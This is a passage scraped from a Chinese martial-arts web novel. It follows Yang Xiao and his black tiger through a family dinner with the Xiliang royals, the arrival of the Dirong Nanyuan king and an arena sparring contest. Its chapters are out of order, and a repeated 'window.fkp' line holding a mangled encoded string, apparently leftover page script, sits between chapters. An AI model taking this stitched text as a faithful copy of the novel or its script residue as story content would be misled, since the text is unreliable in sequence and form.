???“没有哇,它长这么黑……所以从小就这么叫它啦。” ?“哦……挺好的名字。”嘴上说挺好,但五公主的心里总觉得这么一只洪荒猛兽叫这么一个名字,总觉得有些怪怪的。 ?“能和我说说它吗?” ?杨笑望了望小黑道:“它呀?它是我在山里捡来的……。” 于是两个人一个问一个答,从最初的如何遇到小黑的母亲开始聊起,再到关于小黑的点点滴滴,渐渐地俩人越聊兴致越高,从小黑聊到蒲阳山庄,从山庄聊到如何擒住蕃族世子与公主。聊起这些高兴事杨笑的心情也是很好,不知不觉间心中的鞠绊也放开了许多,一件件有越的事不时的将五公主逗的“咯咯咯”的笑出声来。 不知不觉间时间一点一点的过去。五公主望着眼前的心上人,听着他为自己讲着他遇到的那些有趣的事,神奇的事,还有惊险的事,一时间心生旖旎,听的有些出神了。不经意间冒出一句:“你笑起来的样子真好看。”杨笑闻言一下子又不知道该怎么往下说了,感觉自己就好像是个被调戏了的大姑娘,怪怪的。 这时一名侍女来到二人身边:“公主,该去用晚膳了。”两个人这才发觉此时早已是日近黄昏,月色初升了。杨笑于是告辞道:“杨笑该回去了。” 五公主有心挽留一下,又觉得女儿家家的就这么说出口来似乎有些不妥,正不知道该说什么的时候那宫女又说道:“王爷请杨将军一同用晚膳。” 五公主闻言暗自按耐下心中的喜悦之色,清了清嗓子调皮道:“走吧!”说完就像是生怕有人看到自己的满脸喜色似的,转身向园子外快步离去……。 五公主将杨笑带到一处院落,西梁王与王妃还有两位侧妃以及小世子五人早已在屋内。两位侧妃中一位是王妃的表妹,另一位是五公主的生母慧王妃。 正有宫娥们进进出出的将一碟碟餐食摆放在桌上。二人进门后向众人见礼,西梁王妃道:“这孩子,都是自己家人还这么多礼数。” 西梁王接话道:“嗯对!这是家里不是前朝,没有什么王爷臣下的,不必多礼,不必多礼。”说着向王妃腆着脸笑道:“你说是不是呀夫人?”西梁王妃往他的嘴里塞了一筷子菜故意嗔道:“就你话多。”在旁众人都是会心一笑。 这样的西梁王杨笑从没听说过,更没有见过,外界传言西梁王与王妃夫妻和睦,现在看来怕是不止夫妻和睦这么简单了。 正在杨笑有些不知所措的时候,五公主伸手牵了杨笑的手将他拉到一旁坐下。西梁王见了便酸溜溜的说道:“诶呦!真是女大不中留啊!” 一句话将两个人说的都有些不好意思了,五公主更是一张脸红到了脖子跟儿。王妃嗔怪道:“吃饭都堵不住你的嘴!”西梁王只得嘿嘿的笑笑。 小世子走过来爬到杨笑的腿上仰着头问道:“杨将军,你的大老虎呢?” 小世子的到来缓解了二人的尴尬。杨笑摸着他的头回道:“我让人把它领回家了。” 小世子有些失望道:“我还想再看看它呢,你怎么不把它领过来呢?” 西梁王赶紧劝道:“乖!那可是神兽,不是你的玩具,再说咱这屋子里也装不下它呀。” 说话间饭菜上齐,几人围坐在一张大桌子前,一场家筵在轻松愉快地气氛中结束了。 ?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十四回 南苑王 初夏的阶上草原最是水草肥美的时候。几场雨下过后,牧草犹如脱了缰的野马似的一个昼夜就能窜高一大截。天上飘着的朵朵白云在风儿的催促下懒洋洋地向前蠕动着,云与云之间的天空是那么的蔚蓝,蓝蓝的天将云映衬的分外白,白白的云让天显的更加的蓝。 蓝天白云下一条涨满了水的小河蜿蜒的在草原上缓缓的流淌着,几棵树木稀稀两两的生长在草地上。对于草原上的鸟儿来说,树在草原上是一种稀缺的资源,几只叫不上名字的小鸟正在为了争夺筑巢的枝桠叽叽喳喳的吵个不停。相比之下,树下的兔子就安逸多了,它早已为自己准备好了洞穴,现在正躲在草丛里挑选着自己最爱吃的嫩芽。 河道在弯曲处形成了一个不大的小湖泊,岸边的牧草由于得到了水源的滋养,生长的分外起劲儿,已然快有肩膀高了。一群警惕的野羊正在草丛的掩护下小心的喝着水。一阵风吹皱了湖里的天空,也在草原上留下了层层叠叠的波浪,露出了喝水的羊群也露出了不远处向羊群悄悄靠近的一条黑影。受惊的羊群蹦跳着跑开了,那条黑色的身影只好悻悻地离去。 这时,一支长长的队伍从远处走来,队伍中飘荡着各色的旗帜,这些旗帜下的人有徒步而行的,有在骑马上的,还有许多坐在马车里的。在这些马车中有一辆车显的格外的巨大,大到上面足以搭起一顶帐篷,要六匹马才能拉的动。 帐篷里挂着精美的挂毯,挂毯上面有一对漂亮的弯刀还有弓箭,刀柄和弓身上镶嵌的宝石闪闪发光,向世人展示着它们华美且精良的做工。 帐篷的中央有一个小火炉,火炉上正烤着一块肉,两个容颜姣好的婢女正在仔细的翻烤着,以保证把烤肉的香味发挥到极致。 另一边正对着帐篷入口的地方,一名身着华丽皮裘的男子,正斜倚在桌案的后面看着手中的羊皮书卷,只留给外人一个孤傲的背影。 另一支队伍从对面相向而来,两只队伍在湖边相遇。后一支队伍中有一骑出列来到两队之间朗声道:“大周王朝西梁王麾下大将张亭山奉吾王之命特在此迎接贵邦使者!”原来是西梁王派人而来,而对面的人马自然便是出使大周王朝的狄绒族特史与其护从了。 很快,狄绒族中一人打马上前,用有些蹩脚的周王朝语言说道:“张将军一路辛苦,请前方带路。” ???????“请!” ???????“请!” 西梁军拨转马头分成三队,一队在前领路另两队护在狄绒人左右,向西梁境内浩浩荡荡而去。 ……黑色的天幕上稀稀拉拉的点缀着几颗星星,夜幕如同一口大钟般扣在大地上,乌云后的一轮弯月时不时的探出头来,似乎是在向下窥视着什么。山顶上一匹马从树丛下的阴影中走出来,在山边的岩石上停住脚步,马背上的黑影用那如刀的目光盯着下方的山坳,山坳里一处营地中闪动着几点篝火。 “怎么样了?”马背上的黑影缓缓地开口。 “禀将军,有三人分两组离开了队伍,已经派人分头跟踪了。”一个声音在阴影中回答道。 马背上的黑影缓缓点头嗯了一声:“跟紧了,务必要连根拔起。” “是!”阴影中的人答应一声便在黑暗消失中了。 马背上的黑影看了一眼山坳里的营地,然后拨转马头也消失在夜色里……。 这一日,西梁城外一支狄绒族的队伍到来。队伍里的人一个个都是面容凶厉,身形健壮,赤裸着一条臂膀,斜披着麻衣兽皮,足踏牛皮角靴,腰挎斜月弯刀。队伍行至城下自行向两侧分开中间让出一条道路来,一辆由四匹神骏无匹的枣红色骏马拉动着的豪华马车从两队士兵让出的通道中走上前来。 城门前一位须发灰白的老者上前几步拱手道:“西梁小吏方田弼特此相迎。” “老辅相过谦了,辅相若是小使的话那这西梁境内也没几个人能称的上人臣了。”一个年轻的声音从车厢里传来,听起来温和亲切。 老者正是西梁首辅大臣方田弼,辅佐西梁王半生被西梁王尊为西梁辅相。 “都是为帝王分忧,为百姓谋福,没有什么高低贵贱之分。”老者不卑不亢缓缓回道。 “老辅相所言甚是。”年轻的声音说道:“老辅相近来身体可好?” 方田弼拱手道:“托我王鸿福,家中子孙照看殷勤,老朽的身体还算过得去。” “老辅相忠君爱民定然福寿延绵。”车厢里年轻的声音又说道。 “凭借吉言。”老者略点头回礼,接着又说道:“城内百姓聚集,空间有限,还请大军在城外就地驻扎。” “可。”车内年轻的声音应允道。 于是狄绒特使只带了护卫随从百余人入城。 马蹄声在幽暗的城门洞中显得格外的响亮,透过纱帘可以看到狭长的门洞如同一条遂道般通向前方的那团亮光。门洞长有十丈,宽可容下两车并行。穿过门洞后光线豁然明亮,一条笔直的大道出现在眼前。街道中央是由青石板铺就的行车道,可容四车并排行驶。车道旁是一丈多宽的步道,步道供行人使用,上面铺满了红褐色的石板。两侧店铺林立,人头攒动,接踵摩肩。 人们聚拥在道路两旁,一个个都瞪大了眼睛看过来,这些眼睛里闪动着不同的目光,好奇的、疑惑的、惊叹的、羡慕的、……但不管什么样的目光,里面都充斥着浓浓的愤恨。 是啊,能不恨吗?世人只知道西梁铁骑当世无双,又有几人能看到西梁为了守护大周王朝的大门而户户都飘着白绫呢?这些白绫又有多少是因为狄绒族呢? 马车和人群间站着两排手挚长矛的士兵,个个身姿挺直,目不斜视,西梁军纪可见一斑。 街道的尽头正对西梁王府的宫门,长街与宫门前长长的踏道相连接。踏道上,宫门前,早有人分列站好,为首一人身形高大,相貌非凡,头戴王冕,身穿金地山海滚龙袍,虽双鬓略有斑白却不失堂堂之气。此人不是别人,正是大周王朝西梁王尊驾! 那四乘马车停在阶前,从车上下来一人。此人年纪不过三十,身形修长,头戴金冠,腰悬三尺宝剑,穿一身白衣,那白衣的领口、袖边及下摆边沿上用三色金线绣出了好看的吉祥纹案。此人黑发披肩,在头上绾了个发髻,虽是异族面孔,但放在周人的眼里也是容貌俊朗,若不是知道其身份的还以为是王朝哪家的富贵公子呢! 西梁王见那年轻俊朗的青年来到阶前先声道:“久闻南苑王之名,今日得见果然名不虚传!” 来人正是狄绒族三王之一的南苑王! 南苑王的到来又会引发哪些事情?欲知后事如何,且听下回分解。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十六回 校场摆擂 西梁王一声令下,校场内立刻设下了擂台。西梁境内民风尚武,校场里自然是有现成的擂台的,只要在旁边搭一座看台,一个简易版的擂台就布置好了。 宾主双方与各自麾下众文武在看台上落座后,一位白发老者站出来说道:“既然是比武切搓,就少不了要有一个评判之人,老朽不才,愿为这些后辈晚生们当一回裁判,不知王爷还有南苑王大人意下如何呀?” 老人姓周,名同格,乃是西梁的一员老将,官居正二品镇军大将军。当年“周同格”三个字,在西梁边界上就是一个令敌人闻风丧胆的存在,“对部下一视同仁,对敌人格杀勿论”,这句话在狄绒族老一辈当中可以说是无人不知,无人不晓。狄绒族人惧怕他的威名,送了他一个“周格杀”的名号。 别看老将军已是满头白发,但身板还是硬朗的很,走起路来依旧步履矫健,练起功夫来也依然能把手中的兵器舞动的呼呼生风。虽说如今休养在家,不再管理军政事务,只是参加一些礼仪性质的活动,但老将军的威名依然不减当年。 见老人主动请缨,西梁王与南苑王自然不会有意见。西梁王含笑点头,南苑王起身拱手道:“周老将军的威名小王如雷贯耳,对老将军也是神往已久,今日得见也算是了了小王的一桩心愿。由老将军主持这场比试自然再合适不过了。” “南苑王大人过誉了。”周老将军回道。 客套话说完后老人登上擂台宣布道:“比试点到为止,双方可以自由挑选兵器,但不能使用暗器,更不能伤人性命!都没有什么意见吧?”双方人员对比试的规则都没有异议,比武立刻开始。“南苑王远来是客,请先行决定上台人选。” 狄绒族首先上台的是一个赤须卷发,长了一大片护胸毛的魁梧壮汉。这壮汉的个头虽然很是高大,但身材却像一个水桶一样,以至于整体上看上去倒显得有点短粗的样子。 西梁这边是梁赞首先上场。 那大汉的个头与梁赞相仿,光着膀子,手持一对大如南瓜的铜锤。大汉一跃跳上擂台,双锤一碰发出“砰”的一声巨响,怪叫一声道:“老子早就看你不爽了,先吃我一锤!” 梁赞则有些无赖的说道:“无所谓了。” 二人刚一个照面就战在了一起。 杨笑站在台下看着台上二人的打斗。两个人都有着龙精虎猛的外形,一个如同巨象出山,横冲直撞,猛追猛打,那一对铜锤砸在擂台上轰轰作响,连周围观战的人都觉的脚下的地面一颤一颤的。另一个明明也是身如铁塔,一身巨力,却偏偏走的是灵巧的路数,让人看了难免感到有些违和。两个人在场上并没有表现出人们期待中的一场恶斗,这一点又不免让人们觉得有些不够过瘾。 不一会儿,那狄绒族的大汉就让梁赞给遛的气喘吁吁,一身大汗。那大汉憋了一肚子气撒不出去,于是怒吼道:“你这混蛋,就只会像老鼠一样躲来躲去吗?敢不敢跟爷爷我拼上一记?” 梁赞停住脚步笑道:“好哇!满足你。”说话间一掌拍出。那狄绒族的大汉伸锤去挡,梁赞一掌拍在铜锤上,那大汉只觉得有一股难以抵抗的力量顺着手里的铜锤传来,两条手臂一软,铜锤撞在当胸。“蹬蹬蹬……。”大汉连退几步,后脚跟一空,一个趔趄险些掉下台去。 那大汉奋力挣扎,好不容易就要重新站稳了,这时候梁赞渡着步子慢慢的走到那大汉的跟前,伸出一指在其额头上一点:“兄弟,走你。”只听“扑通”一声,那狄绒族的大汉便摔下了擂台。 “这一场西梁胜!”裁判周同格立刻给出了判定。 梁赞一副得了便宜还卖乖的样子冲着台下围观的人群嘻笑着拱手道:“啊,承让承让……。” 那狄绒族的大汉从地上爬起来后一脸的不服气,嚷嚷着还要上台跟梁赞接着打,被身边的人给劝住了。 杨笑看着场上两个人的表现心中暗自道:“这个狄绒族人攻势迅猛,力大如牛,速度也可以,梁赞还能这般轻松获胜,看来那天在比斗场上是有留手啊!” 接下来的几场比试,双方各有胜负,有了第一场的和平收场,接下来的比试都是点到为止,并没有出现有人受伤的情况。 这一局轮到狄绒族人上台接受挑战了。上台的是一个瘦瘦高高的汉子,长着一脸的横肉,留着落腮胡子,胸口处还长了一撮黑毛。这人赤着一条手臂,裤腿卷到膝盖处,裸露在外面的手臂和小腿上也长满了长长的黑毛。别看他体毛旺盛的就像个野人一般,可脑袋上却只有稀稀拉拉的,像茅草似的几根黄毛。 瘦高汉子跃至台上劽开满是黄牙的嘴高声道:“爷爷我不接受你们的挑战……。” 有人看不惯他这嚣张的样子质问道:“那你上台干什么?” 瘦高汉子并不理会台下的质问,他提起手中的弯刀一指台下的杨笑说道:“我要挑战那个骑老虎的!”这家伙恐怕从见到杨笑那一刻开始就盯上他了。众人闻言全都转头望向杨笑。杨笑面带淡淡的笑意今人望之如沐春风,他缓缓道:“我满足你的要求。” 在西梁除了少数几个人外,其他人并不知道杨笑的身手如何,只是听说他用了些手段生擒了雪蕃族大部落的世子和公主,又督造兵器甲胄,再后来是在西梁王巡视边界的时候护驾有功,更是受到五公主的垂青招了附马,前些日子里又有黑虎坐骑现世,这才一路封赏有了今天的地位。说实话西梁军中有许多人对杨笑是有些不服气的,认为他是取了巧又有些好运气才能有今天的地位。尤其是五公主的垂青,不知道让多少西梁的官宦之后和将门子弟眼红,所以对杨笑的上场都还是很期待的,当然这其中的心思就没人知道了。 杨笑可不会在意这些膏粱子弟们是怎么想的,他从容登台将身形站定。皂色的长衫在微风中轻轻的荡着褶皱,若是再白净些,再拿上一卷书,简直就是一个儒家书生了。 到底杨笑在台上表现如何?欲知后事如何,且听下回分解。 ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十五回 本王喜欢这样的坐骑 上一回说到那辆华美的马车停在西梁王府前的广场上,从车上下来一位俊朗青年,正是狄绒族南苑王。 说到这位南苑王,乃是狄绒族管辖地域最大,实力最强的三王之一,也是最为年轻的一个。据传闻,南苑王的生母是一位大周女子,只因当年偶然间救了秘密潜入大周而受了伤的狄绒族大首领,那时的大首领正置青春尚且没有继承大统,养伤期间与这位女子互生情愫才有了现在的南苑王。一年后,年轻的大首领返回族中,后来又几经波折掌控了狄绒族的各个部落,成为了狄绒族的大首领。继承大统后,这位大首领始终难忘旧情,于是派人秘密接回了南苑王母子。 南苑王因为受其母亲的影响对周王朝的人文地理甚是向往,还曾化妆为周朝人在周王朝境内求学多年。据说平日里这位南苑王的衣食住行都防照周人习俗,这才有了现今人们看到的南苑王。 见南苑王下车,西梁王上前一步先声道:“久闻南苑王美名,今日得见果然名不虚传!” 南苑王亦拱手道:“西梁王威名如雷贯耳,今日得见,小王真是三生有幸!” 两人客套几句后西梁王道:“本王已备下筵席为阁下接风洗尘,还请移步宫中。” ?“那小王便叨扰了。” “哈哈哈……南苑王客气,请!” ?“西梁王请。” ??“奏乐!”有宫中侍官高声唱道。一时钟鼓齐奏,琴瑟和鸣,更有窈窕宫娥在前引路,二人并肩步入西梁王府。 席间分宾主坐定,众文武陪坐在旁。待酒菜上齐,西梁王举杯道:“阁下此行开两族近百年来之先河,本王深感钦佩。” 南苑王亦提起杯中酒:“小王对贵邦多有向往,此行若能得见贵族天子陛下便不虚此行了。” 西梁王笑道:“呵呵呵……那就预祝阁下得偿所愿了,来来来,你我先满饮此杯。”说完将杯中酒一饮而尽,饮毕将杯口朝向南苑王以示诚意。 南苑王大笑一声道:“西梁王果然豪爽。”说完也一饮而尽。 ……酒过三巡,菜过五味。南苑王开口道:“小王听闻西梁王阁下对名马良驹多有见解,小王亦是爱马之人,今日特意带来几匹西域良驹还请西梁王不吝赐教,也好教小王长些见识。” 西梁王回道:“南苑王远道而来,赏马之事先不着急,还是先欣赏一番歌舞美姬,解一解旅途中劳累岂不美哉?”说完“啪啪啪”拍掌三声,有姣美舞姬流水般飘入厅中,一时间舞乐齐动……。 次日,城外校场内一匹匹骏马往来奔驰。南苑王招招手,一匹通体纯黑色的骏马飞驰而来停在南苑王面前,马背上的骑手翻身下马行礼。南苑王介绍道:“此马名为乌锥,乃是我族特有品种,此马速度虽说不是最快但胜在耐力卓越,一日千里不在话下。” 西梁王上前一步,只见此马身形粗壮,四蹄就如海碗一般大小,皮毛油黑发亮,处处都显示出这匹马的不凡。马儿见西梁王走来,打着响鼻用蹄子刨了几下地面,看上去充满力量与野性。西梁王抚须道:“嗯!果然是一匹少见的好马。” 南苑王一匹接一匹的向西梁王介绍着面前的骏马:“这匹通体雪白的名叫飞雪……那个四蹄皆是白色的叫寻梅,取踏雪寻梅之意……看那一匹,一身雪白皮毛,鬃毛却如火一般的乃是燎原……还有这匹是追霞……。” ?西梁王一边听着南苑王的介绍一边点头回应着。末了南苑王问道:“怎么样,小王的这些马看着还行吧?” 西梁王点点头“嗯,不错是不错……可是……。” “可是什么?”南苑王疑问道。 西梁王顿了顿说道:“可是若将这些马说成是绝世名驹的话……。” 南苑王笑道:“阁下好眼力!”说着向身后随从招手示意,那名随从得了自家主子的示意后弯腰退了下去。 不一会儿,一匹神俊无匹的枣红色骏马从围栏中放出,这匹马在场上飞奔了几圈后停在了场中发出阵阵嘶鸣,不住的踢踏着地面还不时的跃起双蹄站立起来,样子显的有些急躁。只见此马身形高大,线条流畅,高昂着头颅不住的嘶鸣着,看上去很是桀骜不驯。 西梁王左右看了看皱眉道:“你这匹马真的很不错,称为绝世良驹一点也不为过,只是……这好像还是一匹没有驯服的野马吧?” ?南苑王闻言道:“不错!这匹马乃是我去岁初春捕获的野马之王,此马野性十足,自捕获以来便无人能将其驯服,这次把它带来也是知道西梁人才倍出,想要看看是否有人能将其驯服。” “噢?若是有人能驯服得了又当如何?”西梁王似有些兴致的问道。 “小王自当重赏。”南苑王回道。 西梁王心道:“自当重赏?真是小家子气,我还以为要把这匹马送给驯马之人呢。”西梁王不露声色,在嘴里啧了一声抚须道:“说实话呀,本王现如今对这些马呀什么的已经不感兴趣了。” ?“噢?此话怎讲?” ?“本王现在感兴趣的坐骑是另有其物啊!” ?“既如此何不牵来让小王也见识一番。”南苑王闻言扬了扬眉毛说道。 “呃……好吧”西梁王故作为难,犹豫道:“来人,去喊杨将军过来。” “是!王爷。”一名着甲护从拱手答道。 很快杨笑到来:“未将参见王爷,见过南苑王。” 西梁王放下手中的茶碗:“杨笑啊,去把咱家的宝贝领出来让南苑王大人看上一看。” 杨笑答应一声起身向一侧的大门内走去。接着一个黑影从门内窜出,在场中一个跳跃,跃至南苑王面前冲着南苑王就是一声震聋发聩的咆哮。 狄绒族人这才看清楚,来的竟是一只面容狰狞,獠牙外露的黑色猛虎。 突如其来的猛虎让他们有些惊慌失措,几个婢女更是被吓晕过去两个。南苑王身边的护从纷纷惊呼道:“护驾!”一摸腰间才发现出于两王安全的原因,双方贴身侍卫的兵器都没有带在身上。到底是南苑王的心腹护从,就算是没有兵器也是一个个赤手空拳,争先恐后的将自家主子护在身后,西梁王见了也是暗自点头。 惊慌过后见那只猛虎并未上前,南苑王镇定一下心神,挥挥手让众护从退开。待护从们小心翼翼的退到两旁后南苑王站起身来走出人群,上上下下打量了一下眼前的猛虎,这才看到骑在小黑身上的杨笑,扭头向西梁王问道:“此人是谁?竟有这般能耐!” 西梁王回道:“哦,他呀?他是我西梁忠武将军杨笑。嗯……当然了,他还是本王的女婿。”西梁王似是很随意的说着,随既又对杨笑嚷道:“你看着点呀!你看都把贵客给惊吓到了。还有啊,它的口水都喷到我的茶碗里了。” 杨笑也只得歉意的笑笑。 南苑王也不计较,向西梁王问道:“这就是王爷的新坐骑?” 西梁王臭屁道:“啊!那是自然。” 南苑王又问:“王爷能得此神兽当真是可喜可贺。只是为何是这位……?” 西梁王不等他说完就嚷道:“你养马还有几个马夫呢?就不许本王有个……嗯……虎夫?” 南苑王又道:“王爷言之有理。想来王爷骑上这匹神兽……。” ?西梁王生怕他再说下去:“好了好了。马也看了,虎也看了,该看的都看过了,天也不早了,咱们该回了。”其实西梁王是生怕这个南苑王再不依不饶的说下去。 “本王也想骑呀!它不让啊!”西梁王在心里无奈道。 南苑王转身对杨笑拱手道:“将军神威小王惊为天人!若将军空闲时可赏光到我南苑一聚,小王不胜荣幸。” 西梁王在一旁腹诽道:“少来这一套,想来我这儿挖墙角,你挖不走的,他可是我女婿。” 杨笑也还之以礼:“南苑王大人过奖。” 南苑王低头转了转眼珠向西梁王道:“西梁能有如此能人真是可喜可贺,我看不如借此机会让两军将士切磋交流一番,不知西梁王意下如何呢?” 西梁王一听转移了话题又不着急走了,而是立刻挥手道:“阁下既有此意本王自无不可。来人,准备擂台!” 到底擂台上是怎样光影,欲知后事如何,且听下回分解。 ??????? ??????? window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十七回 我要挑战那个骑老虎的 那瘦高的汉子见杨笑双手空空冷声道:“你不用兵器吗?” 杨笑看了看自己的手掌又看了看那瘦高汉子手里的刀,有些不好意思的说道:“早上出门的时候忘了带,不过我觉得这样似乎就可以了。” 那瘦高汉子也不客气,冷哼一声:“哼!那就休怪我的刀不长眼睛了。”说罢双足一跺脚下擂台,身形一跃,手中弯刀直冲杨笑面门而来。 杨笑也知道在西梁有许多人对自己并不服气,平时杨笑也不太在乎这些人的看法,但今天既然有人指明要挑战自己,那索性就用这个机会好好的堵一堵这些人的嘴。 见那瘦高汉子攻来,杨笑一只脚后退半步歪头躲过这一刀,那汉子见状将刀锋一转,变直刺为横斩向杨笑的脖子上划去。 杨笑把腰身一矮向前跨出一步,同时一只手双指并拢点在其腋下之处,那汉子只觉手臂一麻手中的弯刀差点握不住。瘦高汉子一咬牙忍住手臂上传来的酸麻之感,握紧手里的刀柄双手并用将刀尖向下一转,便要狠狠的向杨笑后心扎去。 杨笑抢先一步一记手刀斩在其手肘部,另一手一拳打在其膝侧。 瘦高汉子手臂受阻刀锋偏了方向,紧接着便是膝盖一痛。那受了杨笑一击的腿正是当下受力之处,大半的重心都落在这条腿上,此时受了这一击立时下盘不稳一个趔趄险些摔倒在地。 那大汉心头一紧,知道自己有些托大了,眼前的对手可不是个只会给自家主子养宠物的货色,就在其想要抽身后退之时,杨笑一记肩撞将那汉子结结实实的撞了个四脚朝天。 杨笑的这一撞并不全是蛮力,而是加了几分巧劲儿在里面,所以那汉子双足腾空摔在擂台上,除了摔的胸口有点闷以外并没有受什么伤。 将对方撞翻在地后杨笑并未趁势追击,而是退后两步十分礼节的做了个“请”的手势。那汉子见杨笑这般表现先是稍稍愣了一下神,随后起身捡起掉落在一旁的刀鞘将刀入了鞘,然后摆了个起手的姿势示意杨笑可以继续了。 杨笑见状心道:“这个狄绒族的家伙还挺讲究的。”这时那汉子叽里呱啦的说了几句话,杨笑对狄绒族语言并不太懂,只能大概听出其中几个词语的意思。擂台下一名西梁袍泽喊道:“杨将军,他说刚才多有得罪,你既然以礼相待他也不能坏了规矩,怕咱们看不起。”杨笑听罢冲那汉子抱拳回以一笑。那瘦高汉子于是拿着那柄插在刀鞘里的弯刀再次与杨笑斗在了一起。 这一回合瘦高汉子小心了许多,不再像第一回合那样丝毫不给自己留后手,可饶是这样也不是杨笑的对手。两人在场上你来我往,闪转腾挪,斗了几个回合后,杨笑抓住对方一个空档一掌按住那大汉的胸口并且向上一托,紧接着跨出一步同时往前一推,将这一掌送了出去。 那瘦高汉子只觉一股力量连绵不绝,难以抗拒的涌来,不由自主的便双足离地,“扑通”一声被丢到了擂台下摔了个四仰八叉。 场下的西梁众人发出一阵哄笑。那汉子站起身来拍了拍屁股后面的土,涨红着脸向杨笑一抱拳用狄绒族语言说了声“领教了”便退入了人群之中。 杨笑向那汉子拱了拱手,见他也不理会人只是自顾自的走了,兀自笑了笑转身正要离开擂台,就听到台下有人高声叫道:“休走!” 杨笑转过头便见一个长脸大耳的汉子跳上台来。这人身形细长,就如同一根竹竿子一般,短粗的眉毛又黑又长,鼻子还有点歪。劽开嘴,露出满口的黄牙怪声怪气的叫道:“小子,跟爷爷我再打上一场!”那口牙长的参差不齐,还缺了两颗。 杨笑见他长的这般模样,心想:“这南苑王怎么带这么个奇形怪状的家伙出来吓唬人。” 杨笑心中这样想着,面上皱了皱眉头正要说话就听有人高声道:“你们狄绒族想耍赖吗?这是要车轮战不成?” 那个瘦竹竿哼道:“有谁说过一个人只能打一场吗?没有吧?”台下众人一阵窃窃私语。? 从比赛一开始却实没有规定一人只能打一场。 看台上西梁王向南苑王问道:“阁下以为如何?”南苑王只是目视前方默不作声。西梁王见状目光微凝,轻轻的撇了下嘴角,向一旁的一名侍者示意一下。那侍者领会西梁王的意思后向前走出两步,高声道:“王爷有令,台上之人若无异议便可!” ?那瘦竹竿听到后劽嘴用生硬的周王朝语言说道:“小子,这下没什么问题了吧?” 杨笑打量了面前的家伙一眼,在他身上杨笑能感受到一种说不清道不明的气息,这种气息并不强烈,若隐若现的,让人觉得有些不舒服。 杨笑摆了个起手的姿势道:“乐意奉陪。” 那瘦竹竿怪叫一声身形稍稍一屈接着双足发力一跃而起。 瘦竹竿一跃跃至杨笑头顶,头下脚上双手冲着杨笑面门一连拍出数掌,出手之时当真是快如电,疾如风。 杨笑连忙举拳相迎。 二人拳掌相接,皆是以快打快,一息之间便对上了二三十记。 台下众人直看的眼花僚乱,跟本看不清哪个是拳影哪个是掌印,只听得噼里啪啦一片拳掌相交之声。二人一通拳掌相向,然后双掌对上一记,那瘦竹竿借势腾空而起,不等杨笑有所喘息紧接着便使出一个千斤坠,一脚踏向杨笑脑门。杨笑双手抵住其踏下的一只脚,只觉得似有万钧之力压了下来,直压的他双膝一屈,但到底接下了这一脚。 正待杨笑就要有所动作之时,那瘦竹竿的一只脚已经冲着杨笑的面门踢了过来。杨笑见状干脆将其踏在自己手臂上的另一只脚抓在手里,接着向下猛的一拉,用瘦竹杆的腿去挡他的另一条腿。 瘦竹竿下盘失稳,这一脚没能得逞,而杨笑则趁机将双掌向其小腹拍去。就在杨笑这一掌刚要打出之时那瘦竹竿却将身子一拧,双脚抵住了杨笑的双掌,借着这一掌之力在空中倒翻一个筋斗落在了擂台的另一边。 杨笑见他这般身法不由得愣了一下。他实在是没想到这个长胳膊长腿,长的跟竹竿子一样的家伙身手竟然这么灵活,竟能做出那样匪夷所思的动作来。现在想想他身上的那股气息似乎更加的感觉熟悉了。 “没错,跟梁赞身上的气息好像差不多。”杨笑终于想了起来,那天在竞技场的擂台上,梁赞身上就有这么一种气息,不过面前这个家伙身上的气息比起梁赞来真是弱了太多,怪不得自己一时没能认出来。 ?“看来他也是个有些修为的家伙。”杨笑心中暗暗的想着。 window.fkp = \"d2luzg93lm9ua2v5zm9jdxmoikrrqwnwr3vjstdmb1lyslnnr3nqzvmxn2r0vuh0mvjooth5r1b3zthawxbkmdj1k3zpbznpd1fysjzpdfvfuupwn01edks4vwfrrhavs29hwnf1uupndkhewvlpnmflqwvhnhrkuurivfy4cmnqwjz4sy9vytl4a1hirjz6czn3iiwgmtyzmji3oteymyk=\"; 第六十八回 三记硬撼 那瘦竹竿落地后倒也没有急着攻上来,而是桀桀的怪笑一声道:“小子,身手不赖嘛,怎么样,敢不敢跟爷爷我再较量几个回合?” 既然知道了对方的底细,杨笑的心里便有了点数了。只见杨笑冷笑一声说道:“那杨某可就不客气啦!” 瘦竹竿冷哼一声:“哼!口气倒是不小,再吃爷爷一招。”说着就拉开架势揉身而上。杨笑叫一声:“来的好!”二人便再次斗在了一起。 那瘦竹竿上前便是一记掏心爪,却被杨笑一下抓住了双腕向两边一分。此时对方门户大开,杨笑正要抓住机会有所动作,谁知那瘦竹竿竟是顺势一头撞向杨笑胸口。 也难怪那瘦竹竿会这么做,此时他自己门户大开的时候也同样是杨笑门户大开的时候,而他的双手又被杨笑死死的抓住,两个人又是贴身相搏离的特别近,除了脑袋也实在是没有别的什么东西可用了。 杨笑见他这般打法一时有些想笑,这分明就是街头无赖斗殴,骂街泼妇掐架的打法嘛。 